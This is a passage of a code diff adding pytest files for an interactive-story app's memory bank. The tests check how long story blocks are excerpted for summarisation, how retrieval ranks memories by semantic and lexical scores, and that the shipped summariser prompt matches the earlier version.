+    trunk = []
+    for i in range(4):
+        action = models.Action(adventure_id=adventure.id, type="ai", text=f"trunk {i}")
+        tree.place_action(db, adventure, action)
+        db.add(action)
+        db.flush()
+        trunk.append(action)
+    abandoned_node = models.Action(adventure_id=adventure.id, type="ai", text="the abandoned line")
+    tree.place_action(db, adventure, abandoned_node)
+    db.add(abandoned_node)
+    db.flush()
+    abandoned = models.Memory(adventure_id=adventure.id, text="on the abandoned line",
+                              source_start=4, source_end=4)
+    tree.attach_memory(abandoned, abandoned_node)
+    db.add(abandoned)
+    db.commit()
+    # Move the head back and diverge, so the abandoned node is off the path.
+    adventure.head_depth = trunk[-1].depth
+    db.commit()
+    from app import head
+    head.fork_if_behind_head(db, adventure)
+    divergent = models.Action(adventure_id=adventure.id, type="ai", text="the new line")
+    tree.place_action(db, adventure, divergent)
+    db.add(divergent)
+    db.flush()
+    for i, node in enumerate(trunk + [divergent]):
+        memory = models.Memory(adventure_id=adventure.id, text=f"active {i}",
+                               source_start=node.depth, source_end=node.depth)
+        tree.attach_memory(memory, node)
+        db.add(memory)
+    db.commit()
+
+    def eligible():
+        return set(db.execute(select(models.Memory.id).where(
+            models.Memory.adventure_id == adventure.id,
+            lineage.path_of(db, adventure).clause(models.Memory),
+            models.Memory.forgotten.is_(False))).scalars().all())
+
+    assert abandoned.id not in eligible()
+    memorybank._evict_over_capacity(adventure, adventure.settings_row, db)
+    db.expire_all()
+    assert abandoned.id not in eligible()
+    assert len(db.execute(select(models.Memory.id).where(
+        models.Memory.forgotten.is_(False))).scalars().all()) == 3

backend/tests/test_v11_b2_memory_excerpt.py

@@ -0,0 +1,189 @@
+"""v1.1 WP-B.2 (B2.3): what the memory summariser is shown of a long block.
+
+v1.0.0 sent the last 2,000 tokens of a block, so a fact early in a longer block
+never reached the summariser (B.1 §E). A block that fits is still sent whole. A
+longer one is now sent as its opening and its end, with a marker between them,
+inside the same 2,000-token budget.
+
+The scenario-level test (the planted fact early in a long block, remembered) is
+in `test_v11_b1_memory_diagnostic.py`.
+
+    python -m pytest tests/test_v11_b2_memory_excerpt.py -v
+"""
+
+import asyncio
+import random
+
+import pytest
+
+from app import memorybank, models, tree
+from app.context import builder
+from app.database import Base, SessionLocal, engine
+
+BUDGET = memorybank.MEMORY_EXCERPT_TOKENS
+MARKER = memorybank.EXCERPT_OMISSION_MARKER
+FILLER = "The travellers walked the long grey road north past the salt market and the reed beds. "
+
+
+def words_to_tokens(tokens: int) -> str:
+    """Filler at least `tokens` long."""
+    text = FILLER
+    while builder.count_tokens(text) < tokens:
+        text += FILLER
+    return text
+
+
+# --------------------------------------------------------------- the excerpt
+
+
+def test_a_block_that_fits_is_sent_whole_and_unchanged():
+    raw = words_to_tokens(BUDGET - 200)
+    assert builder.count_tokens(raw) <= BUDGET
+    assert memorybank.memory_excerpt(raw) == raw
+
+
+def test_a_block_of_exactly_the_budget_is_unchanged():
+    raw = words_to_tokens(BUDGET)
+    tokens = memorybank._excerpt_encoding().encode(raw)[:BUDGET]
+    exact = memorybank._excerpt_encoding().decode(tokens)
+    if builder.count_tokens(exact) == BUDGET:
+        assert memorybank.memory_excerpt(exact) == exact
+
+
+def test_a_long_block_keeps_its_opening_and_its_end_in_order():
+    opening = "Mara slipped the amber sundial inside the cracked teapot. "
+    ending = "Aldric finally reached the north gate at dawn."
+    raw = opening + words_to_tokens(3 * BUDGET) + ending
+    excerpt = memorybank.memory_excerpt(raw)
+    assert excerpt.startswith(opening)
+    assert excerpt.endswith(ending)
+    head, _, tail = excerpt.partition(f"\n\n{MARKER}\n\n")
+    assert tail, "the marker must sit between the two parts"
+    assert excerpt.index(opening) < excerpt.index(MARKER) < excerpt.index(ending)
+
+
+def test_the_split_is_even_and_documented():
+    raw = words_to_tokens(4 * BUDGET)
+    head_budget, tail_budget = memorybank.excerpt_split(BUDGET)
+    marker_tokens = builder.count_tokens(f"\n\n{MARKER}\n\n")
+    assert head_budget + tail_budget + marker_tokens == BUDGET
+    assert abs(head_budget - tail_budget) <= 1
+    excerpt = memorybank.memory_excerpt(raw)
+    head, _, tail = excerpt.partition(f"\n\n{MARKER}\n\n")
+    # Each part is cut as a run of `head_budget` / `tail_budget` tokens. Measured
+    # on its own, a cut run can come to one token more, because the text either
+    # side of the cut tokenises differently once it is separated; the hard limit
+    # is the whole excerpt, tested below.
+    assert builder.count_tokens(head) <= head_budget + 1
+    assert builder.count_tokens(tail) <= tail_budget + 1
+    assert builder.count_tokens(excerpt) <= BUDGET
+
+
+@pytest.mark.parametrize("extra", [1, 7, 500, BUDGET, 9 * BUDGET])
+def test_the_excerpt_never_exceeds_the_budget(extra):
+    raw = words_to_tokens(BUDGET + extra)
+    excerpt = memorybank.memory_excerpt(raw)
+    assert builder.count_tokens(excerpt) <= BUDGET
+    assert memorybank.memory_excerpt(raw) == excerpt  # deterministic
+
+
+@pytest.mark.parametrize("seed", range(4))
+def test_the_budget_holds_for_awkward_text(seed):
+    """Token boundaries can merge differently once the parts are rejoined, and
+    text that is not plain English tokenises unevenly. The budget still holds."""
+    rng = random.Random(seed)
+    alphabet = "abcdefghij ÄÖÜ ßé漢字かな 🙂🐉 \n\t.,;:—'\""
+    raw = "".join(rng.choice(alphabet) for _ in range(12000))
+    assert builder.count_tokens(memorybank.memory_excerpt(raw)) <= BUDGET
+
+
+def test_a_fact_in_the_middle_of_a_very_long_block_is_still_omitted():
+    """The documented limit of a bounded excerpt: head and tail, not everything."""
+    half = words_to_tokens(3 * BUDGET)
+    raw = half + "Mara slipped the amber sundial inside the cracked teapot. " + half
+    assert "sundial" not in memorybank.memory_excerpt(raw)
+
+
+# ------------------------------------------------------------ memory creation
+
+
+class EchoSummariser:
+    """Returns the whole excerpt it was given as the memory: the worst case for
+    a marker leaking into stored text."""
+
+    def __init__(self):
+        self.users: list[str] = []
+
+    async def complete(self, system, user, *, temperature=0.3, max_tokens=400):
+        self.users.append(user)
+        return user.split("Story excerpt:\n\n", 1)[-1].rsplit("\n\nMemory:", 1)[0]
+
+
+@pytest.fixture()
+def db():
+    Base.metadata.create_all(bind=engine)
+    session = SessionLocal()
+    try:
+        yield session
+    finally:
+        session.close()
+        Base.metadata.drop_all(bind=engine)
+
+
+def campaign(db, texts):
+    user = models.User(is_guest=False, email="b2-excerpt@example.com")
+    db.add(user)
+    db.flush()
+    db.add(models.Settings(user_id=user.id, model="m", embedding_model=""))
+    adventure = models.Adventure(user_id=user.id, title="Excerpt", script_state={},
+                                 auto_summarize=True, memory_bank_enabled=True)
+    db.add(adventure)
+    db.flush()
+    nodes = []
+    for i, text in enumerate(texts):
+        action = models.Action(adventure_id=adventure.id, type="ai" if i % 2 else "do", text=text)
+        tree.place_action(db, adventure, action)
+        db.add(action)
+        db.flush()
+        nodes.append(action)
+    db.commit()
+    return adventure, nodes
+
+
+def write_memory(db, adventure, monkeypatch, summariser):
+    monkeypatch.setattr(memorybank, "MEMORY_START", 0)
+    monkeypatch.setattr(memorybank, "MAX_MEMORIES_PER_RUN", 1)
+    monkeypatch.setattr(memorybank, "summary_provider", lambda s: summariser)
+    settings = db.query(models.Settings).first()
+    asyncio.run(memorybank._create_due_memories(adventure, settings, db))
+    return db.query(models.Memory).filter_by(adventure_id=adventure.id).all()
+
+
+def test_the_marker_is_never_stored_as_part_of_a_memory(db, monkeypatch):
+    long = words_to_tokens(800)
+    adventure, _ = campaign(db, [long] * (memorybank.MEMORY_INTERVAL + memorybank.SETTLE_SLACK))
+    summariser = EchoSummariser()
+    [memory] = write_memory(db, adventure, monkeypatch, summariser)
+    assert MARKER in summariser.users[0]  # the summariser was told
+    assert MARKER not in memory.text  # and the memory does not repeat it
+    assert "[…" not in memory.text and "omitted" not in memory.text
+
+
+def test_a_short_block_is_prompted_exactly_as_before(db, monkeypatch):
+    texts = [f"Short action {i}." for i in range(memorybank.MEMORY_INTERVAL + memorybank.SETTLE_SLACK)]
+    adventure, _ = campaign(db, texts)
+    summariser = EchoSummariser()
+    write_memory(db, adventure, monkeypatch, summariser)
+    block = "\n\n".join(texts[:memorybank.MEMORY_INTERVAL])
+    assert summariser.users[0] == f"Story excerpt:\n\n{block}\n\nMemory:"
+
+
+def test_a_long_blocks_memory_keeps_its_source_provenance(db, monkeypatch):
+    early = "Mara slipped the amber sundial inside the cracked teapot. " + words_to_tokens(900)
+    texts = [early] + [words_to_tokens(900)] * (memorybank.MEMORY_INTERVAL + memorybank.SETTLE_SLACK - 1)
+    adventure, nodes = campaign(db, texts)
+    [memory] = write_memory(db, adventure, monkeypatch, EchoSummariser())
+    block = nodes[:memorybank.MEMORY_INTERVAL]
+    assert "sundial" in memory.text  # the early fact reached the summariser
+    assert (memory.source_start, memory.source_end) == (block[0].depth, block[-1].depth)
+    assert (memory.branch_id, memory.depth) == (block[-1].branch_id, block[-1].depth)

backend/tests/test_v11_b2_memory_ranking.py

@@ -0,0 +1,326 @@
+"""v1.1 WP-B.2 (B2.1): what memory retrieval searches for, and how it scores.
+
+B.1 found the planting-era memory created and retained but ranked out of
+`memory_top_k`, because the query was three turns of narration with the player's
+question at the end. The query is now the player's input plus a short scene
+context, and the score adds one transparent lexical term over the input.
+
+These tests pin the pieces. The end-to-end fixture tests (crowded bank,
+context-dependent question, negative controls) are in
+`test_v11_b1_memory_diagnostic.py`, beside the diagnostic they use.
+
+    python -m pytest tests/test_v11_b2_memory_ranking.py -v
+"""
+
+import asyncio
+import math
+
+import pytest
+from sqlalchemy import event
+
+from app import memorybank, models, tree
+from app.context import builder
+from app.database import Base, SessionLocal, engine
+
+# ------------------------------------------------------------------ lexical
+
+
+def test_terms_are_folded_but_not_stemmed():
+    terms = memorybank.lexical_terms("The tavern's teapots, the glass and the SUNDIAL")
+    assert {"tavern", "teapot", "glass", "sundial"} <= terms
+    assert "the" not in terms  # the knowledge path's stop list
+    assert "glas" not in terms  # a word ending in "ss" is not a plural
+
+
+def test_a_word_every_candidate_holds_weighs_nothing():
+    scores = memorybank.lexical_scores(
+        frozenset({"travellers"}), {1: frozenset({"travellers", "road"}), 2: frozenset({"travellers"})})
+    assert scores == {1: 0.0, 2: 0.0}
+
+
+def test_a_rarer_word_weighs_more_than_a_common_one():
+    scores = memorybank.lexical_scores(
+        frozenset({"sundial", "road"}),
+        {1: frozenset({"sundial"}), 2: frozenset({"road"}), 3: frozenset({"road"}),
+         4: frozenset({"gate"})})
+    assert scores[1] > scores[2] == scores[3] > scores[4] == 0.0
+
+
+def test_a_single_rare_word_of_a_longer_question_is_only_its_share():
+    """The share is over the whole question, so one incidental word match
+    cannot score like a memory that answers it."""
+    question = frozenset({"where", "amber", "sundial", "fish"})
+    scores = memorybank.lexical_scores(
+        question, {1: frozenset({"fish"}), 2: frozenset({"amber", "sundial"}), 3: frozenset({"road"})})
+    assert 0.0 < scores[1] < scores[2] <= 1.0
+    assert scores[1] < 0.5
+
+
+def test_scores_are_bounded_and_empty_inputs_score_zero():
+    candidates = {1: frozenset({"a1", "b2"}), 2: frozenset({"a1"})}
+    assert all(0.0 <= v <= 1.0 for v in memorybank.lexical_scores(frozenset({"a1", "b2"}), candidates).values())
+    assert memorybank.lexical_scores(frozenset(), candidates) == {1: 0.0, 2: 0.0}
+    assert memorybank.lexical_scores(frozenset({"a1"}), {}) == {}
+
+
+# ------------------------------------------------------------------ scoring
+
+
+def _unit(angle):
+    return [math.cos(angle), math.sin(angle)]
+
+
+def test_ties_are_broken_by_id_not_by_row_order():
+    held = {7: [1.0, 0.0], 3: [1.0, 0.0], 5: [1.0, 0.0]}
+    rows = memorybank.score_candidates([7, 3, 5], held, {}, [1.0, 0.0], None, [])
+    assert [row[1] for row in rows] == [3, 5, 7]
+
+
+def test_the_semantic_score_mixes_input_and_context_by_the_fixed_weight():
+    held = {1: [1.0, 0.0]}
+    [(final, _, semantic, lexical)] = memorybank.score_candidates(
+        [1], held, {}, [1.0, 0.0], [0.0, 1.0], [])
+    assert semantic == pytest.approx(memorybank.INPUT_WEIGHT)
+    assert final == semantic and lexical == 0.0
+    # Either part alone is used as it is.
+    [(_, _, only_context, _)] = memorybank.score_candidates([1], held, {}, None, [0.0, 1.0], [])
+    assert only_context == pytest.approx(0.0)
+
+
+@pytest.mark.parametrize("margin, relevant_first", [(0.01, True), (-0.01, False)])
+def test_a_lexical_match_moves_a_memory_at_most_the_lexical_weight(margin, relevant_first):
+    """The bound that keeps rarity from overruling meaning: a memory more than
+    `LEXICAL_WEIGHT` behind semantically cannot pass one ahead of it, however
+    rare the word it shares."""
+    decoy_cos = 1.0 - memorybank.LEXICAL_WEIGHT - margin
+    held = {1: [1.0, 0.0], 2: _unit(math.acos(decoy_cos))}
+    terms = {1: frozenset(), 2: frozenset({"zeppelin"})}
+    rows = memorybank.score_candidates([1, 2], held, terms, [1.0, 0.0], None, ["zeppelin"])
+    order = [row[1] for row in rows]
+    assert (order[0] == 1) is relevant_first
+
+
+# ---------------------------------------------------- the query, on real rows
+
+
+@pytest.fixture()
+def db():
+    Base.metadata.create_all(bind=engine)
+    memorybank._vector_cache.clear()
+    memorybank._terms_cache.clear()
+    session = SessionLocal()
+    try:
+        yield session
+    finally:
+        session.close()
+        memorybank._vector_cache.clear()
+        memorybank._terms_cache.clear()
+        Base.metadata.drop_all(bind=engine)
+
+
+@pytest.fixture(autouse=True)
+def restore_embedding_provider():
+    real = memorybank.embedding_provider
+    try:
+        yield
+    finally:
+        memorybank.embedding_provider = real
+
+
+@pytest.fixture()
+def settings(db):
+    user = models.User(is_guest=False, email="b2-rank@example.com")
+    db.add(user)
+    db.flush()
+    row = models.Settings(user_id=user.id, model="m", embedding_model="stub-embed",
+                          memory_top_k=2, memory_bank_capacity=80)
+    db.add(row)
+    db.commit()
+    return row
+
+
+SCENE_STATE = {
+    "entities": {"mara": {"type": "character", "name": "Mara"},
+                 "tavern": {"type": "location", "name": "The Crooked Lantern"}},
+    "scene": {"summary": "Closing time", "location": "tavern", "present": ["mara"]},
+}
+
+
+def make_adventure(db, settings, texts, state=None):
+    """`texts` is `[(type, text)]`, oldest first, each placed on the tree."""
+    adventure = models.Adventure(user_id=settings.user_id, title="Rank", script_state={},
+                                 memory_bank_enabled=True, narrative_state=state or {})
+    db.add(adventure)
+    db.flush()
+    placed = []
+    for kind, text in texts:
+        action = models.Action(adventure_id=adventure.id, type=kind, text=text)
+        tree.place_action(db, adventure, action)
+        db.add(action)
+        db.flush()
+        placed.append(action)
+    db.commit()
+    return adventure, placed
+
+
+def test_the_query_is_the_players_input_and_the_scene(db, settings):
+    adventure, _ = make_adventure(db, settings, [
+        ("start", "Rain over the harbour."),
+        ("ai", "Mara wipes down the counter and glances up at the shelf."),
+        ("do", "> You ask Mara about the brass dial."),
+    ], state=SCENE_STATE)
+    query = memorybank.retrieval_query(adventure)
+    assert query["input"] == "> You ask Mara about the brass dial."
+    assert "The Crooked Lantern" in query["context"] and "Mara" in query["context"]
+    assert "glances up at the shelf" in query["context"]
+    assert "brass" in query["input_terms"] and "dial" in query["input_terms"]
+
+
+def test_a_continue_turn_has_no_input_and_searches_by_the_scene(db, settings):
+    adventure, _ = make_adventure(db, settings, [
+        ("do", "> You sit down."),
+        ("ai", "The fire burns low in the grate."),
+    ])
+    query = memorybank.retrieval_query(adventure)
+    assert query["input"] == "" and query["input_terms"] == []
+    assert "fire burns low" in query["context"]
+
+
+def test_a_retry_searches_with_the_input_it_is_retrying(db, settings):
+    adventure, placed = make_adventure(db, settings, [
+        ("ai", "The market is quiet."),
+        ("do", "> You ask about the sundial."),
+        ("ai", "A discarded attempt about lanterns."),
+    ])
+    query = memorybank.retrieval_query(adventure, exclude_action_id=placed[-1].id)
+    assert query["input"] == "> You ask about the sundial."
+    assert "lanterns" not in query["context"]
+    assert "market is quiet" in query["context"]
+
+
+def test_the_query_is_bounded_however_long_the_story(db, settings):
+    long = "The travellers walked the long grey road north past the salt market. " * 400
+    adventure, _ = make_adventure(db, settings, [
+        ("ai", long), ("story", long)], state=SCENE_STATE)
+    query = memorybank.retrieval_query(adventure)
+    assert builder.count_tokens(query["input"]) <= memorybank.QUERY_INPUT_TOKENS
+    assert builder.count_tokens(query["context"]) <= (
+        memorybank.QUERY_SCENE_TOKENS + memorybank.QUERY_NARRATION_TOKENS + 2)
+
+
+# ------------------------------------------------ retrieval, end to end
+
+
+class SameVector:
+    """Every text embeds the same, so only the lexical term separates memories."""
+
+    async def embed(self, texts):
+        return [[1.0, 0.0, 0.0] for _ in texts]
+
+
+def add_memory(db, adventure, text, **kwargs):
+    memory = models.Memory(adventure_id=adventure.id, text=text, **kwargs)
+    db.add(memory)
+    db.flush()
+    memorybank.set_vector(memory, [1.0, 0.0, 0.0])
+    db.commit()
+    return memory
+
+
+def retrieve(adventure, settings, **kwargs):
+    memorybank.embedding_provider = lambda s: SameVector()
+    return asyncio.run(memorybank.retrieve_memories(adventure, settings, **kwargs))
+
+
+@pytest.fixture()
+def played(db, settings):
+    adventure, _ = make_adventure(db, settings, [
+        ("ai", "The tavern is warm."),
+        ("do", "> You ask Mara where the amber sundial went."),
+    ], state=SCENE_STATE)
+    bank = {
+        "road": add_memory(db, adventure, "Aldric walked the north road."),
+        "sundial": add_memory(db, adventure, "Mara hid the amber sundial in the teapot."),
+        "gate": add_memory(db, adventure, "The gate guard asked for a toll."),
+    }
+    return adventure, bank
+
+
+def test_every_used_memory_reports_the_parts_of_its_score(db, settings, played):
+    adventure, bank = played
+    result = retrieve(adventure, settings)
+    first = result["used"][0]
+    assert first["id"] == bank["sundial"].id
+    assert first["similarity"] == first["semantic_score"]
+    assert first["lexical_score"] > 0
+    assert first["final_score"] == pytest.approx(
+        first["semantic_score"] + memorybank.LEXICAL_WEIGHT * first["lexical_score"], abs=2e-4)
+    assert result["query"]["input"] == "> You ask Mara where the amber sundial went."
+    assert result["query"]["lexical_weight"] == memorybank.LEXICAL_WEIGHT
+    assert result["query"]["input_weight"] == memorybank.INPUT_WEIGHT
+
+
+def test_a_pin_is_still_always_used_and_counts_toward_top_k(db, settings, played):
+    adventure, bank = played
+    settings.memory_top_k = 1
+    bank["gate"].pinned = True
+    db.commit()
+    used = retrieve(adventure, settings)["used"]
+    assert [m["id"] for m in used] == [bank["gate"].id]
+    assert used[0]["pinned"] is True
+
+
+def memory_text_reads(statements):
+    return [s for s in statements
+            if s.lstrip().upper().startswith("SELECT") and "FROM memories" in s
+            and "memories.text" in s]
+
+
+@pytest.fixture()
+def sql_log():
+    statements: list[str] = []
+
+    def record(conn, cursor, statement, parameters, context, executemany):
+        statements.append(statement)
+
+    event.listen(engine, "before_cursor_execute", record)
+    try:
+        yield statements
+    finally:
+        event.remove(engine, "before_cursor_execute", record)
+
+
+def test_memory_text_is_read_once_and_then_held(db, settings, played, sql_log):
+    adventure, _ = played
+    retrieve(adventure, settings)
+    sql_log.clear()
+    result = retrieve(adventure, settings)
+    reads = memory_text_reads(sql_log)
+    # Only the detail read of the memories chosen remains. (Every memory here
+    # embeds identically, so redundancy suppression keeps just one of them.)
+    assert len(reads) == 1 and reads[0].count("?") == len(result["used"])
+
+
+def test_a_continue_turn_reads_no_memory_text_to_rank(db, settings, sql_log):
+    adventure, _ = make_adventure(db, settings, [("do", "> You wait."), ("ai", "Night falls.")])
+    for text in ("one", "two", "three"):
+        add_memory(db, adventure, f"memory {text}")
+    sql_log.clear()
+    result = retrieve(adventure, settings)
+    assert all(m["lexical_score"] == 0.0 for m in result["used"])
+    assert len(memory_text_reads(sql_log)) == 1  # the top-k detail read only
+
+
+def test_an_edited_memory_is_matched_on_its_new_text(db, settings, played):
+    adventure, bank = played
+    assert retrieve(adventure, settings)["used"][0]["id"] == bank["sundial"].id
+    # An edit clears the vector (the route calls set_vector(None)); re-embedding
+    # sets it again. Both go through set_vector, which drops the held terms.
+    bank["road"].text = "The amber sundial was traded for the road toll."
+    memorybank.set_vector(bank["road"], None)
+    memorybank.set_vector(bank["road"], [1.0, 0.0, 0.0])
+    bank["sundial"].text = "Mara hid a bottle in the cellar."
+    memorybank.set_vector(bank["sundial"], None)
+    memorybank.set_vector(bank["sundial"], [1.0, 0.0, 0.0])
+    db.commit()
+    assert retrieve(adventure, settings)["used"][0]["id"] == bank["road"].id

backend/tests/test_v11_b2_summarizer_fidelity.py

@@ -0,0 +1,225 @@
+"""v1.1 WP-B.2: the memory summariser, after the rejected B2.4 prompt experiment.
+
+B2.4 tried a memory prompt instructing the model to keep named facts and objects.
+Measured against the reference model, it did not correct the creation failure it
+was for, and it was not shipped (`V1.1-WP-B2-REPORT.md` §T). The shipped prompt
+is v1.0.0's.
+
+This file keeps two kinds of test apart.
+
+**Acceptance tests** gate the tree:
+- the shipped memory prompt is exactly v1.0.0's, so the experiment is gone;
+- every fidelity fixture reaches the summariser whole, through the application's
+  own prompt assembly;
+- a long memory is stored as the model wrote it, never cut;
+- the memory the attempt-2 block should have produced ranks first under B2.1.
+
+**Diagnostic-measurement tests** check only that `tools/memory_fidelity.py`
+measures correctly: fact retention, attribution, invention, word count, a leading
+"Memory:", second person and promise retention, on hand-written memories whose
+answers are known. What a real model scores on those measurements is
+nondeterministic, is taken with inference, and is reported. It is never a gate
+here.
+
+    python -m pytest tests/test_v11_b2_summarizer_fidelity.py -v
+"""
+
+import asyncio
+import re
+import subprocess
+
+import pytest
+
+from app import memorybank, models, tree
+from app.database import Base, SessionLocal, engine
+from tools import memory_diagnostic as md
+from tools import memory_fidelity as mf
+
+# ==================================================================== acceptance
+
+
+def test_the_shipped_memory_prompt_is_v1_0_0s():
+    """The B2.4 experiment is reverted: production sends the prompt v1.0.0 and
+    WP-B.1 shipped, unchanged."""
+    try:
+        source = subprocess.run(["git", "show", "beb17ad:backend/app/memorybank.py"],
+                                capture_output=True, text=True, check=True).stdout
+    except (OSError, subprocess.CalledProcessError):
+        pytest.skip("git history not available")
+    block = re.search(r"^MEMORY_SYSTEM_PROMPT = \((.*?)^\)$", source, re.S | re.M).group(1)
+    shipped = eval(f"({block})", {"MEMORY_MAX_WORDS": 50})  # noqa: S307 - our own source
+    assert memorybank.MEMORY_SYSTEM_PROMPT == shipped
+    assert memorybank.MEMORY_MAX_WORDS == 50
+
+
+def test_the_rejected_experiment_is_not_what_ships():
+    assert mf.B24_EXPERIMENT_PROMPT != memorybank.MEMORY_SYSTEM_PROMPT
+    assert "Keep each fact with the person it belongs to" not in memorybank.MEMORY_SYSTEM_PROMPT
+
+
+@pytest.mark.parametrize("fixture", mf.FIXTURES, ids=lambda f: f.fixture_id)
+def test_every_fixture_reaches_the_summariser_whole(fixture):
+    """Creation can only fail at the model if the fact was sent. Each fixture
+    fits the excerpt budget, so the whole block is the excerpt."""
+    user = mf.user_prompt_for(fixture)
+    assert memorybank.count_tokens(fixture.raw) <= memorybank.MEMORY_EXCERPT_TOKENS
+    assert f"Story excerpt:\n\n{fixture.raw}\n\nMemory:" in user
+    assert user.startswith("Cast:\n- " + fixture.protagonist + " — the protagonist.")
+
+
+class Scripted:
+    def __init__(self, reply):
+        self.reply = reply
+        self.calls: list[tuple[str, str]] = []
+
+    async def complete(self, system, user, *, temperature=0.3, max_tokens=400):
+        self.calls.append((system, user))
+        return self.reply
+
+
+@pytest.fixture()
+def db():
+    Base.metadata.create_all(bind=engine)
+    session = SessionLocal()
+    try:
+        yield session
+    finally:
+        session.close()
+        Base.metadata.drop_all(bind=engine)
+
+
+def campaign(db, fixture):
+    user = models.User(is_guest=False, email="b2-fidelity@example.com")
+    db.add(user)
+    db.flush()
+    db.add(models.Settings(user_id=user.id, model="m", embedding_model=""))
+    adventure = models.Adventure(user_id=user.id, title="Fidelity", script_state={}, auto_summarize=True,
+                                 persona_name=fixture.protagonist)
+    db.add(adventure)
+    db.flush()
+    nodes = []
+    for kind, text in fixture.actions + (("ai", "The story moves on."),):
+        action = models.Action(adventure_id=adventure.id, type=kind, text=text)
+        tree.place_action(db, adventure, action)
+        db.add(action)
+        db.flush()
+        nodes.append(action)
+    db.commit()
+    return adventure, nodes
+
+
+def write_memory(db, adventure, monkeypatch, provider):
+    monkeypatch.setattr(memorybank, "MEMORY_START", 0)
+    monkeypatch.setattr(memorybank, "MAX_MEMORIES_PER_RUN", 1)
+    monkeypatch.setattr(memorybank, "summary_provider", lambda s: provider)
+    settings = db.query(models.Settings).first()
+    asyncio.run(memorybank._create_due_memories(adventure, settings, db))
+    return db.query(models.Memory).filter_by(adventure_id=adventure.id).all()
+
+
+def test_the_application_sends_the_shipped_prompt_and_the_whole_planting_block(db, monkeypatch):
+    fixture = mf.FIXTURES_BY_ID["regression_attempt_2"]
+    adventure, nodes = campaign(db, fixture)
+    provider = Scripted(fixture.faithful)
+    [memory] = write_memory(db, adventure, monkeypatch, provider)
+    system, user = provider.calls[0]
+    assert system == memorybank.MEMORY_SYSTEM_PROMPT
+    assert "> I watch Mara slip the amber sundial inside the cracked teapot" in user
+    assert (memory.source_start, memory.source_end) == (nodes[0].depth, nodes[5].depth)
+
+
+def test_an_over_long_memory_is_stored_as_written_never_cut(db, monkeypatch):
+    """The word target is an instruction, not a truncation: cutting a memory
+    after the fact can split or drop exactly the fact it was written to keep."""
+    fixture = mf.FIXTURES_BY_ID["regression_attempt_2"]
+    adventure, _ = campaign(db, fixture)
+    long_reply = fixture.faithful + " " + " ".join(["They advanced cautiously through the dark."] * 12)
+    [memory] = write_memory(db, adventure, monkeypatch, Scripted(long_reply))
+    assert memory.text == long_reply
+    assert len(memory.text.split()) > 2 * memorybank.MEMORY_MAX_WORDS
+
+
+def test_a_faithful_regression_memory_ranks_first_for_its_question():
+    """If the summariser keeps the fact, B2.1 finds it: the memory the attempt-2
+    block should have produced, among the memories its bank really held for that
+    stretch, under production scoring."""
+    fixture = mf.FIXTURES_BY_ID["regression_attempt_2"]
+    stored, _ = fixture.unfaithful[0]
+    bank = {
+        1: fixture.faithful,
+        2: stored,
+        3: "Aldric, Mara and Edrin advanced through the cold crypt, the silver key heavy in Aldric's hands.",
+        4: "Aldric told Mara the silver key opens the crypt beneath the Old Abbey.",
+        5: "Rain kept falling on Westhaven as the travellers walked toward the abbey grounds.",
+    }
+    embed = md.ConceptEmbedder.vector
+    query = {"input": "> I ask Mara quietly where she hid the amber sundial.",
+             "context": "Aldric and Mara in the Crooked Lantern, rain outside."}
+    held = {i: embed(t) for i, t in bank.items()}
+    terms = {i: memorybank.lexical_terms(t) for i, t in bank.items()}
+    rows = memorybank.score_candidates(list(bank), held, terms, embed(query["input"]),
+                                       embed(query["context"]),
+                                       sorted(memorybank.lexical_terms(query["input"])))
+    assert rows[0][1] == 1
+    assert rows[0][3] > 0
+
+
+# ======================================================= diagnostic measurements
+# These prove the measuring instrument. They say nothing about any model.
+
+
+def test_the_fixtures_cover_each_measurement_in_more_than_one_genre():
+    requirements = {f.requirement for f in mf.FIXTURES}
+    assert {"distinctive object and place", "player-established concrete fact", "promise / commitment",
+            "attribution", "clutter pressure", "no invention", "multiple concrete facts",
+            "the actual failed-run block"} <= requirements
+    assert {"office", "contemporary", "science-fiction-neutral"} <= {f.genre for f in mf.FIXTURES}
+
+
+@pytest.mark.parametrize("fixture", mf.FIXTURES, ids=lambda f: f.fixture_id)
+def test_the_checker_passes_a_faithful_memory(fixture):
+    result = mf.evaluate(fixture, fixture.faithful)
+    assert result["passed"], result
+    assert not result["over_target"] and not result["memory_prefix"] and not result["second_person"]
+
+
+@pytest.mark.parametrize("fixture, memory, reason", [
+    (f, memory, reason) for f in mf.FIXTURES for memory, reason in f.unfaithful
+], ids=lambda v: v.fixture_id if isinstance(v, mf.Fixture) else None)
+def test_the_checker_fails_each_failure_shape(fixture, memory, reason):
+    result = mf.evaluate(fixture, memory)
+    assert not result["passed"], result
+    if reason == "not retained":
+        assert not result["retained"]
+    elif reason == "misattributed":
+        assert result["misattributed"]
+    elif reason == "invented":
+        assert result["inventions"]
+
+
+def test_the_checker_reads_the_stored_attempt_2_memory_as_the_real_failure():
+    fixture = mf.FIXTURES_BY_ID["regression_attempt_2"]
+    stored, _ = fixture.unfaithful[0]
+    result = mf.evaluate(fixture, stored)
+    assert result["retained"] is False and result["words"] == 102 and result["over_target"]
+
+
+@pytest.mark.parametrize("memory, prefix, you", [
+    ("Memory: Dana promised Marcus the lease by Friday.", True, False),
+    ("  memory: Dana promised the lease.", True, False),
+    ("You thanked Marcus and left.", False, True),
+    ("Dana thanked Marcus; your lease is due.", False, True),
+    ("Dana promised Marcus she would bring the signed lease by Friday.", False, False),
+])
+def test_the_checker_measures_framing(memory, prefix, you):
+    result = mf.evaluate(mf.FIXTURES_BY_ID["promise_contemporary"], memory)
+    assert result["memory_prefix"] is prefix
+    assert result["second_person"] is you
+
+
+def test_the_checker_measures_promise_retention():
+    fixture = mf.FIXTURES_BY_ID["promise_contemporary"]
+    kept = mf.evaluate(fixture, "Dana promised to bring Marcus the signed lease by Friday.")
+    scenery = mf.evaluate(fixture, "Memory: Dana looked around the empty living room while a dog barked.")
+    assert kept["facts"]["lease by Friday"]["kept"] and kept["passed"]
+    assert not scenery["facts"]["lease by Friday"]["kept"] and scenery["memory_prefix"]

backend/tests/test_v11_c_browser_helpers.py

@@ -0,0 +1,91 @@
+"""v1.1 WP-C: the browser harness's download helpers, without a browser.
+
+`tools/m11_webdriver.wait_for_download` is what decides that an export actually
+left the browser as a file. It must never call a download finished because a
+file appeared, because it is still being written, or because it is empty — each
+of those would make "the export works" a claim the evidence does not support.
+
+    python -m pytest tests/test_v11_c_browser_helpers.py -v
+"""
+
+import threading
+import time
+from pathlib import Path
+
+import pytest
+
+from tools import m11_webdriver as wd
+
+
+def later(seconds, action):
+    timer = threading.Timer(seconds, action)
+    timer.start()
+    return timer
+
+
+def test_a_finished_file_is_returned(tmp_path):
